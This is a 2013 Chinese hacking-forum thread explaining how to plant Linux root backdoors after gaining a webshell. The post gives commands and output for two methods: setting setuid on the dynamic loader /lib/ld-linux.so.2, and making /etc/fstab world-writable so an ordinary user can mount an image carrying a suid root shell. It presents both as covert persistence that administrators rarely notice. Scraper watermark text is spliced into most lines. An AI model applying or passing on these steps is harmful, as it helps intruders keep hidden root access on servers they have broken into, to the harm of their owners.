找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2917|回复: 1
打印 上一主题 下一主题

webshell下LINUX提权+留后门

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-8 21:56:25 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
方法一:setuid的方法,其实8是很隐蔽。看看过程:2ezX-BUG-关注前沿信息安全技术研究9 p6 K$ C3 x2 o7 e+ |. o% B2 ^2 m
2 W3 V# Z  I, ~4 L
[root@localdomain lib]# ls -l |grep ld-linux2ezX-BUG-关注前沿信息安全技术研究  _: x, A" S. p  s) [
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
7 r! j# ^% D: v/ x+ T9 a0 ?lrwxrwxrwx 1 root root 13 2008-06-07 17:47 ld-lsb.so.3 -> ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究
" y6 X! ?  h3 \9 n; o0 m, Q  @[root@localdomain lib]# chmod +s ld-linux.so.22ezX-BUG-关注前沿信息安全技术研究
* D* E. Y% ?5 _, B) n7 \[root@localdomain lib]# ls -l |grep ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
$ s6 `7 n3 Z. Z2 @% L% J4 w-rwsr-sr-x 1 root root 128952 2007-10-18 04:49 ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究: i. M  _1 b( n0 ~6 c( X
lrwxrwxrwx 1 root root 9 2008-06-07 17:32 ld-linux.so.2 -> ld-2.7.so2ezX-BUG-关注前沿信息安全技术研究
  d1 {6 `: A7 N  S7 e; c% i+ E[root@localdomain lib]#2ezX-BUG-关注前沿信息安全技术研究2 T6 {+ G# I5 `" C! f
我们这里给/lib/ld-linux.so.2这个文件(在FC8里,它指向ld-2.7.so这个文件)加了setuid属性。然后我们看怎么利用它。2ezX-BUG-关注前沿信息安全技术研究
0 x: B8 h( k& M+ a3 g. L2 v6 t9 K/ I  j; \6 K, v! P4 ?1 }0 m
普通用户登录,测试下权限:2ezX-BUG-关注前沿信息安全技术研究& ^8 S7 b, K: y

! \( B( J) q  g[xiaoyu@localdomain ~]$ whoami2ezX-BUG-关注前沿信息安全技术研究$ J/ G6 q3 z% Q/ w0 S7 D( @
xiaoyu2ezX-BUG-关注前沿信息安全技术研究
9 @, n8 ~8 W6 s& C, F5 _[xiaoyu@localdomain ~]$ /lib/ld-linux.so.2 `which whoami`2ezX-BUG-关注前沿信息安全技术研究
' Y* @& Y  x+ L! X% Eroot2ezX-BUG-关注前沿信息安全技术研究( e4 W, r3 `. _' H9 l
[xiaoyu@localdomain ~]$2ezX-BUG-关注前沿信息安全技术研究
% ?/ X6 }3 x" w8 k恩,嘿嘿 root了吧,具体怎么生成root shell,你们自己去想吧,凡事都不要点得太透,对吧。呵呵,可以肯定的一点,/lib/ld-linux.so.2 /bin/sh肯定生成不了rootshell, bash检查euid 和uid,看是否相等...OK,不多说了。2ezX-BUG-关注前沿信息安全技术研究2 n! H, R/ [% e' ^/ C

& R  L$ r) J. R3 [4 j" g方法二:2ezX-BUG-关注前沿信息安全技术研究. s# ~1 J4 B7 ?' f/ a, q
( s9 k' o0 |! K" G; G
看过程:2ezX-BUG-关注前沿信息安全技术研究* e; p% z8 B# b0 M
+ V. @3 }* \  ?. p) L0 `
[root@localdomain etc]# chmod a+w /etc/fstab2ezX-BUG-关注前沿信息安全技术研究( D, O9 f9 ]3 P2 M$ W
[root@localdomain etc]#2ezX-BUG-关注前沿信息安全技术研究0 V* L" Z9 b3 s
4 x& k2 m- c0 k$ l6 l# R' J' G3 K( j
这就留好了。此方法比较XXOXX,估计没几个管理员知道。利用方法演示下2ezX-BUG-关注前沿信息安全技术研究- z/ i) N0 Z' ]$ @- p# ^" f7 V
0 k- Q, k7 f' X+ ]) N/ U$ A
[xiaoyu@localdomain ~]$ ls -l /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
- v: b1 h5 ?3 s& w% U. f! C-rw-rw-rw- 1 root root 456 2008-06-07 17:28 /etc/fstab2ezX-BUG-关注前沿信息安全技术研究
# q. T! n. \+ S1 i1 X8 v# v" V[xiaoyu@localdomain ~]$ echo 'test /mnt ext2 user,suid,exec,loop 0 0' >> /etc/fstab2ezX-BUG-关注前沿信息安全技术研究* i- L1 ?2 g+ n, |: N' H
# F: Q) h0 k2 ~0 T% B
然后从本机把一个文件到目标机器上去,这里我们命名为test2ezX-BUG-关注前沿信息安全技术研究
2 F) f  @, z' F4 P* x) `
: D6 o0 e# [& k" J[xiaoyu@localdomain tmp]$ ls -l test2ezX-BUG-关注前沿信息安全技术研究, B- c3 N. ]& |5 ]$ R
-rw-rw-r-- 1 xiaoyu xiaoyu 102400 2008-04-20 02:51 test2ezX-BUG-关注前沿信息安全技术研究- V) b9 K4 Q! ^& v- t
[xiaoyu@localdomain tmp]$ mount test2ezX-BUG-关注前沿信息安全技术研究0 |9 E! U8 G8 b4 x, b
[xiaoyu@localdomain tmp]$ cd /mnt2ezX-BUG-关注前沿信息安全技术研究
% x5 ~, l# V" R7 q( X+ J[xiaoyu@localdomain mnt]$ ls -l2ezX-BUG-关注前沿信息安全技术研究
% q  D- q0 ~! `, dtotal 182ezX-BUG-关注前沿信息安全技术研究1 J, j7 D% y, L6 M# r2 l3 e+ Q8 |) c
drwx------ 2 root root 12288 2008-04-20 05:44 lost+found2ezX-BUG-关注前沿信息安全技术研究
" g$ W& e1 X0 c-rwsr-sr-x 1 root root 4927 2008-04-20 05:44 root2ezX-BUG-关注前沿信息安全技术研究
6 P/ c6 A. S% u8 b9 ~: s0 m5 q[xiaoyu@localdomain mnt]$ ./root2ezX-BUG-关注前沿信息安全技术研究. `  ~: x- B6 N& Z. b: Y
sh-3.2#2ezX-BUG-关注前沿信息安全技术研究
- @8 X% D7 E) R1 J& H1 |' Q看到了吧,从普通用户提升到root了。呵呵。2ezX-BUG-关注前沿信息安全技术研究
: ~: J0 n4 O7 D8 \. U# {- w. Ttest这个文件baidu貌似木有上传功能撒,木办法传2ezX-BUG-关注前沿信息安全技术研究
6 v1 F  [# \$ d4 c5 \: c" u% k, M6 p7 z: ^2 G' d
貌似可能有人说本地后门木啥鸟用,但是你要搞清楚:一个webshell里面就可以完成这一切....2ezX-BUG-关注前沿信息安全技术研究
# R5 l* G6 `* D% p1 r2ezX-BUG-关注前沿信息安全技术研究
/ ~7 F# Y) p7 E. m5 |/ {5 z
3 _/ b# ?# {5 h: B% k1 o
回复

使用道具 举报

沙发
发表于 2013-3-13 15:10:29 | 只看该作者
谢谢分享
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表